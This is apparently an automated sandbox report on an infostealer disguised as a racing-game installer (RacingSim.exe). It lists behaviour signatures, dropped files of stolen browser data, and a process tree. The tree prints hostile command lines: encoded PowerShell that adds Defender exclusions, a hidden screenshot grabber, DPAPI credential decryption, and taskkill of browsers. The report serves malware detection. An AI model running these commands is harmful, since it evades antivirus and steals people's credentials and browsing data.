Overview

overview

10

Static

static

10

RacingSim.exe

windows10-2004-x64

8

RacingSim.exe

windows11-ltsc_2024-x64

8

$PLUGINSDI...er.dll

windows10-2004-x64

3

$PLUGINSDI...er.dll

windows11-ltsc_2024-x64

3

$PLUGINSDI...ls.dll

windows10-2004-x64

3

$PLUGINSDI...ls.dll

windows11-ltsc_2024-x64

3

$PLUGINSDI...em.dll

windows10-2004-x64

3

$PLUGINSDI...em.dll

windows11-ltsc_2024-x64

3

$PLUGINSDI...ll.dll

windows10-2004-x64

3

$PLUGINSDI...ll.dll

windows11-ltsc_2024-x64

3

resources/...e3.dll

windows10-2004-x64

1

resources/...e3.dll

windows11-ltsc_2024-x64

1

resources/...opy.js

windows10-2004-x64

3

resources/...opy.js

windows11-ltsc_2024-x64

3

resources/...oad.sh

ubuntu-18.04-amd64

7

resources/...oad.sh

debian-9-armhf

4

resources/...oad.sh

debian-9-mips

resources/...oad.sh

debian-9-mipsel

resources/...ase.js

windows10-2004-x64

3

resources/...ase.js

windows11-ltsc_2024-x64

3

resources/...dex.js

windows10-2004-x64

3

resources/...dex.js

windows11-ltsc_2024-x64

3

resources/...ate.js

windows10-2004-x64

3

resources/...ate.js

windows11-ltsc_2024-x64

3

resources/...kup.js

windows10-2004-x64

3

resources/...kup.js

windows11-ltsc_2024-x64

3

resources/...ion.js

windows10-2004-x64

3

resources/...ion.js

windows11-ltsc_2024-x64

3

resources/...ect.js

windows10-2004-x64

3

resources/...ect.js

windows11-ltsc_2024-x64

3

resources/...gma.js

windows10-2004-x64

3

resources/...gma.js

windows11-ltsc_2024-x64

3

Analysis

  • max time kernel
    60s
  • max time network
    41s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    09/08/2026, 13:12

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    RacingSim.exe
  • Size 93.8MB
  • Sample260809-qfpvxsyapb
  • SHA256 ad6689833d20d7ed52f6d5de3a5832ef7f873fda9f6ba80e65a0b2e593680c52
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
defense_evasiondiscoveryexecutionspywarestealer

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Using powershell.exe command.

    execution
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 5 IoCs
  • Loads dropped DLL 13 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Looks up external IP address via web service 1 TTPs 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

    discovery
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
    execution
  • Drops file in Program Files directory 64 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 8 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 24 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Kills process with taskkill 7 IoCs
    defense_evasion
  • Suspicious behavior: EnumeratesProcesses 21 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\RacingSim.exe
    "C:\Users\Admin\AppData\Local\Temp\RacingSim.exe"
    1⤵
    • Loads dropped DLL
    • Drops file in Program Files directory
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4648
    • C:\Program Files\GameSetup\GameSetup.exe
      "C:\Program Files\GameSetup\GameSetup.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Loads dropped DLL
      • Checks processor information in registry
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      PID:1284
      • C:\Program Files\GameSetup\GameSetup.exe
        "C:\Program Files\GameSetup\GameSetup.exe" --type=gpu-process --disable-gpu-sandbox --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\chiloutvrmod" --gpu-preferences=UAAAAAAAAADgAQAMAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=disabled --field-trial-handle=1928,i,1764494637220307431,11437656834572630166,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=1920 /prefetch:2
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        PID:3300
      • C:\Program Files\GameSetup\GameSetup.exe
        "C:\Program Files\GameSetup\GameSetup.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\chiloutvrmod" --field-trial-handle=2084,i,1764494637220307431,11437656834572630166,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=2080 /prefetch:3
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        PID:4872
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABwAD0AJwBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzAFwARwBhAG0AZQBTAGUAdAB1AHAAXABHAGEAbQBlAFMAZQB0AHUAcAAuAGUAeABlACwAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAJwA7ACQAcAAuAFMAcABsAGkAdAAoACcALAAnACkALgBGAG8AcgBFAGEAYwBoACgAewBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABfACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAfQApAA=="
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2676
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABwAD0AJwBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzAFwARwBhAG0AZQBTAGUAdAB1AHAAXABHAGEAbQBlAFMAZQB0AHUAcAAuAGUAeABlACwAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAJwA7ACQAcAAuAFMAcABsAGkAdAAoACcALAAnACkALgBGAG8AcgBFAGEAYwBoACgAewBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABfACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAfQApAA==
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1544
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "cscript //nologo //B "C:\Users\Admin\AppData\Local\Temp\system_check_1786281470284.vbs""
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4204
        • C:\Windows\system32\cscript.exe
          cscript //nologo //B "C:\Users\Admin\AppData\Local\Temp\system_check_1786281470284.vbs"
          4⤵
          • Executes a VBScript file via the Windows Script Host.
          PID:3248
      • C:\Windows\system32\taskkill.exe
        taskkill /F /IM chrome.exe /T
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4884
      • C:\Windows\system32\taskkill.exe
        taskkill /F /IM msedge.exe /T
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2068
      • C:\Windows\system32\taskkill.exe
        taskkill /F /IM brave.exe /T
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4224
      • C:\Windows\system32\taskkill.exe
        taskkill /F /IM opera.exe /T
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4216
      • C:\Windows\system32\taskkill.exe
        taskkill /F /IM vivaldi.exe /T
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1708
      • C:\Windows\system32\taskkill.exe
        taskkill /F /IM operagx.exe /T
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4208
      • C:\Windows\system32\taskkill.exe
        taskkill /F /IM opera_crashreporter.exe /T
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:988
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABwAD0AJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGUAbABlAHYAXwAxADcAOAA2ADIAOAAxADQANwAyADQANAAxACwAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABlAGwAZQB2AF8AMQA3ADgANgAyADgAMQA0ADcAMgA0ADQAMQBcAEMAaAByAG8AbQBlAEUAbABlAHYAYQB0AG8AcgAuAGUAeABlACcAOwAkAHAALgBTAHAAbABpAHQAKAAnACwAJwApAC4ARgBvAHIARQBhAGMAaAAoAHsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACQAXwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAH0AKQA="
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:776
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABwAD0AJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGUAbABlAHYAXwAxADcAOAA2ADIAOAAxADQANwAyADQANAAxACwAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABlAGwAZQB2AF8AMQA3ADgANgAyADgAMQA0ADcAMgA0ADQAMQBcAEMAaAByAG8AbQBlAEUAbABlAHYAYQB0AG8AcgAuAGUAeABlACcAOwAkAHAALgBTAHAAbABpAHQAKAAnACwAJwApAC4ARgBvAHIARQBhAGMAaAAoAHsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACQAXwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAH0AKQA=
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2768
      • C:\Users\Admin\AppData\Local\Temp\elev_1786281472441\ChromeElevator.exe
        C:\Users\Admin\AppData\Local\Temp\elev_1786281472441\ChromeElevator.exe chrome -o C:\Users\Admin\AppData\Local\Temp\elev_out_1786281472441
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:3720
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe"
          4⤵
            PID:2256
        • C:\Users\Admin\AppData\Local\Temp\elev_1786281472441\ChromeElevator.exe
          C:\Users\Admin\AppData\Local\Temp\elev_1786281472441\ChromeElevator.exe edge -o C:\Users\Admin\AppData\Local\Temp\elev_out_1786281472441
          3⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:3320
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
            4⤵
              PID:5084
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\sys_dpapi_d1b4473a.ps1" "AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAkI4XnunSFEaXjoW1FrOe6BAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAANxX6+fhfJEvxyAxbfsni1Te6H2EIBS3Cdjb+s7i0lUCAAAAAA6AAAAAAgAAIAAAAOC9y5SsH6UEy/D+7vU8MVBuTKO50Kgq3/myUIkoGXssMAAAALB7EKfdKyRYqoGgnvLniCFAnAPzI+juz9/Nl+2uEuGPyFJguazqSI5DgxZPs7bdQkAAAACAHGvRah4MPgHsYVeLpfj8hOvh6+trCa9lJC8pmvMe0nPWpvJouAebPPs6r9w7dbnnQNwlim2KFbu3g03Ebmo1""
            3⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:4448
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\sys_dpapi_d1b4473a.ps1" "AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAkI4XnunSFEaXjoW1FrOe6BAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAANxX6+fhfJEvxyAxbfsni1Te6H2EIBS3Cdjb+s7i0lUCAAAAAA6AAAAAAgAAIAAAAOC9y5SsH6UEy/D+7vU8MVBuTKO50Kgq3/myUIkoGXssMAAAALB7EKfdKyRYqoGgnvLniCFAnAPzI+juz9/Nl+2uEuGPyFJguazqSI5DgxZPs7bdQkAAAACAHGvRah4MPgHsYVeLpfj8hOvh6+trCa9lJC8pmvMe0nPWpvJouAebPPs6r9w7dbnnQNwlim2KFbu3g03Ebmo1"
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2068
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\sys_dpapi_d1b4473a.ps1" "AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAkI4XnunSFEaXjoW1FrOe6BAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAADb03/tKpKWCd3tk3Kx523Xgl8hTlOhWr7fm8j4ypG6wAAAAADoAAAAACAAAgAAAAzb7PCoG5hiQemqRRWjzcXIofgDIrdlblT1qwXB/C6OUwAAAAMB2Fky/mbX2n7bGleZFDNm8Ao2ZmaHOIbSOiZDN56eQQ1HNJqQthBsKITSeFd6sUQAAAAMPBiuntnNatia9rmnpPwYqpfyngFvkW/wEgW25shShqrD7TrmhRUaNVzWp+WrMDssgP5gGYo/BjR2IvZSs8lKA=""
            3⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:552
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\sys_dpapi_d1b4473a.ps1" "AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAkI4XnunSFEaXjoW1FrOe6BAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAADb03/tKpKWCd3tk3Kx523Xgl8hTlOhWr7fm8j4ypG6wAAAAADoAAAAACAAAgAAAAzb7PCoG5hiQemqRRWjzcXIofgDIrdlblT1qwXB/C6OUwAAAAMB2Fky/mbX2n7bGleZFDNm8Ao2ZmaHOIbSOiZDN56eQQ1HNJqQthBsKITSeFd6sUQAAAAMPBiuntnNatia9rmnpPwYqpfyngFvkW/wEgW25shShqrD7TrmhRUaNVzWp+WrMDssgP5gGYo/BjR2IvZSs8lKA="
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:5028
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name /value"
            3⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:648
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic path win32_VideoController get name /value
              4⤵
              • Detects videocard installed
              • Suspicious use of AdjustPrivilegeToken
              PID:3332
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.X, $bounds.Y, 0, 0, $bounds.Size); $memoryStream = New-Object System.IO.MemoryStream; $bitmap.Save($memoryStream, [System.Drawing.Imaging.ImageFormat]::Png); $bytes = $memoryStream.ToArray(); [System.Console]::OpenStandardOutput().Write($bytes, 0, $bytes.Length); $bitmap.Dispose(); $graphics.Dispose(); $memoryStream.Dispose();""
            3⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:2984
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.X, $bounds.Y, 0, 0, $bounds.Size); $memoryStream = New-Object System.IO.MemoryStream; $bitmap.Save($memoryStream, [System.Drawing.Imaging.ImageFormat]::Png); $bytes = $memoryStream.ToArray(); [System.Console]::OpenStandardOutput().Write($bytes, 0, $bytes.Length); $bitmap.Dispose(); $graphics.Dispose(); $memoryStream.Dispose();"
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:4276
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Valve\Steam" /v SteamPath"
            3⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:3852
            • C:\Windows\system32\reg.exe
              reg query "HKCU\Software\Valve\Steam" /v SteamPath
              4⤵
                PID:8
        • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
          "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
          1⤵
            PID:3832
          • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
            "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
            1⤵
              PID:3368

            Network

                  MITRE ATT&CK Enterprise v16

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  chrome_100_percent.pak
                  • Path C:\Program Files\GameSetup\chrome_100_percent.pak
                  • Size 147KB
                  • SHA256 14a6a393c60f62df9bc1036e98346cd557e0ae73e8c7552d163fa64da77804d7
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  app.asar
                  • Path C:\Program Files\GameSetup\resources\app.asar
                  • Size 44.3MB
                  • SHA256 6baed92ef14e9a213407e55c1a4e9fde8044bbac9fa72e1ef793a2614f764c5d
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  v8_context_snapshot.bin
                  • Path C:\Program Files\GameSetup\v8_context_snapshot.bin
                  • Size 650KB
                  • SHA256 8ac45d2ee2705bab53e3ff9564936455301ff722c3b0af0680fabb83d3c27bae
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  All CreditCards.txt
                  • Path C:\Users\Admin\AppData\Local\7ec23c1b5d4e6680\All CreditCards.txt
                  • Size 52B
                  • SHA256 cdc94d0ff0d871d27b41c97a0d3b9efab43dadf336a76c9eafd6002ac9e2e2cc
                  • MD5 SHA1 SHA512
                  Submit Download

                  All Autofill.txt
                  • Path C:\Users\Admin\AppData\Local\7ec23c1b5d4e6680\browser_data\autofills\All Autofill.txt
                  • Size 97B
                  • SHA256 014d8e11992cb66d87b647e8237b430eaf7a94c11744abc97ef98d37e930a696
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  temp_webdata_Google Chrome_Default_1786281475206.db
                  • Path C:\Users\Admin\AppData\Local\7ec23c1b5d4e6680\browser_data\autofills\temp_webdata_Google Chrome_Default_1786281475206.db
                  • Size 138KB
                  • SHA256 3c8c0f7aad84f267a4b3ab4a160c51d73c184680c610ea05e91880137c028b3f
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  Firefox ESR (ho495kqa.default-release).txt
                  • Path C:\Users\Admin\AppData\Local\7ec23c1b5d4e6680\browser_data\cookies\Firefox ESR (ho495kqa.default-release).txt
                  • Size 29B
                  • SHA256 d95cc9b596565532beaaacf8d8b00f3d5e9adcbc8c784a982ee6e96df9966e80
                  • MD5 SHA1 SHA512
                  Submit Download

                  Google Chrome (Default).txt
                  • Path C:\Users\Admin\AppData\Local\7ec23c1b5d4e6680\browser_data\cookies\Google Chrome (Default).txt
                  • Size 340B
                  • SHA256 063383edad356a89370765ae9de697a7ae02a3d0d48a930b06588d16725e5f62
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  All History.txt
                  • Path C:\Users\Admin\AppData\Local\7ec23c1b5d4e6680\browser_data\history\All History.txt
                  • Size 516B
                  • SHA256 76592da7ba9ca135e556d91e41d05a0e5e2f6a1e3f689b6e31b29868026bff00
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  temp_history_Google Chrome_Default_1786281475159.db
                  • Path C:\Users\Admin\AppData\Local\7ec23c1b5d4e6680\browser_data\history\temp_history_Google Chrome_Default_1786281475159.db
                  • Size 160KB
                  • SHA256 9091ac11406f559b228639a023f638aa4461083cf4151878f781b85acde0e2ba
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  temp_history_Microsoft Edge_Default_1786281475159.db
                  • Path C:\Users\Admin\AppData\Local\7ec23c1b5d4e6680\browser_data\history\temp_history_Microsoft Edge_Default_1786281475159.db
                  • Size 204KB
                  • SHA256 8c24b66b55bef2d89d1ac69204ec3d5d7b191ba051c7c4c4cddcd66d92575d04
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  temp_login_Google Chrome_Default_1786281475206.db
                  • Path C:\Users\Admin\AppData\Local\7ec23c1b5d4e6680\browser_data\passwords\temp_login_Google Chrome_Default_1786281475206.db
                  • Size 40KB
                  • SHA256 06aeb2f9c1ee642348c091fb27541c143545354c273055ce30832e0f61aedf81
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  temp_login_Microsoft Edge_Default_1786281475206.db
                  • Path C:\Users\Admin\AppData\Local\7ec23c1b5d4e6680\browser_data\passwords\temp_login_Microsoft Edge_Default_1786281475206.db
                  • Size 56KB
                  • SHA256 a36a4989ed48954499586d6551e61d6bccfc7bee269b4eab0bb836e394c24c7c
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  temp_cookies_chrome_Default_5rzhn.db
                  • Path C:\Users\Admin\AppData\Local\7ec23c1b5d4e6680\browser_data\temp_cookies_chrome_Default_5rzhn.db
                  • Size 20KB
                  • SHA256 9c4bc969c0cc4bd806761042fa375c12df9f9a21cfc42b995da3426d92bed101
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  temp_cookies_edge_Default_vo0tt.db
                  • Path C:\Users\Admin\AppData\Local\7ec23c1b5d4e6680\browser_data\temp_cookies_edge_Default_vo0tt.db
                  • Size 20KB
                  • SHA256 de48f5c4308a2477450952a8fd6462c411cc966f9e0fb0065a252b3be831a482
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  temp_cookies_firefox-beta_ho495kqa_default_release_qsiwr.db
                  • Path C:\Users\Admin\AppData\Local\7ec23c1b5d4e6680\browser_data\temp_cookies_firefox-beta_ho495kqa_default_release_qsiwr.db
                  • Size 96KB
                  • SHA256 33a2357af8dc03cc22d2b7ce5c90abf25ac8b40223155a516f1a8df4acbf2a53
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  temp_history_firefox-beta_ho495kqa_default_release_jmsff.db
                  • Path C:\Users\Admin\AppData\Local\7ec23c1b5d4e6680\browser_data\temp_history_firefox-beta_ho495kqa_default_release_jmsff.db
                  • Size 5.0MB
                  • SHA256 b0b1281a0064cdc1d4b30531f848c9dc7fcc03c406755cf5680a22347916a8dc
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  temp_webdata.db
                  • Path C:\Users\Admin\AppData\Local\7ec23c1b5d4e6680\browser_data\temp_webdata.db
                  • Size 224KB
                  • SHA256 d781b56555e65272ef4019de8706cba5042fb7afcf0f6e2ca56183ca9567ba8e
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  powershell.exe.log
                  • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                  • Size 2KB
                  • SHA256 1d24a65df782bf4d7a235d1a857ea4b5a7050a2175aecfd298d8fb801737d427
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  StartupProfileData-NonInteractive
                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  • Size 1004B
                  • SHA256 c1ff15512489151643bb5ec01d9edd7574bde108b42b172c4845db282e6f3acf
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  StartupProfileData-NonInteractive
                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  • Size 1004B
                  • SHA256 b87288415ad6c6bc3d2d0d072cd2f3c658c437ed189001ed8226189bbfe7f7ed
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  StartupProfileData-NonInteractive
                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  • Size 1KB
                  • SHA256 847b65cf73a4f8c8acbe9c17b5ab840b77282444820e7d9b9b81f0c5e2a8839a
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  StartupProfileData-NonInteractive
                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  • Size 1KB
                  • SHA256 35160355b148b60e5c354f2d9c29d07876de657d1587090571929bb057accbb1
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  boot_main.txt
                  • Path C:\Users\Admin\AppData\Local\Temp\@nyxpublic_debug\boot_main.txt
                  • Size 559B
                  • SHA256 d3d0cedbebf1482d11dcff86a85e5557de97106f03fef456ca75300f96c9068d
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  boot_main.txt
                  • Path C:\Users\Admin\AppData\Local\Temp\@nyxpublic_debug\boot_main.txt
                  • Size 1KB
                  • SHA256 88b1ba6cf091967d31308a5eff00a6665a0bfd4974fd3d3bccf27caeb69a6998
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  boot_main.txt
                  • Path C:\Users\Admin\AppData\Local\Temp\@nyxpublic_debug\boot_main.txt
                  • Size 4KB
                  • SHA256 4cd2c8fffddcfb127a71078d79d7be092da3ccb64fc0e5657f002d8638373be2
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

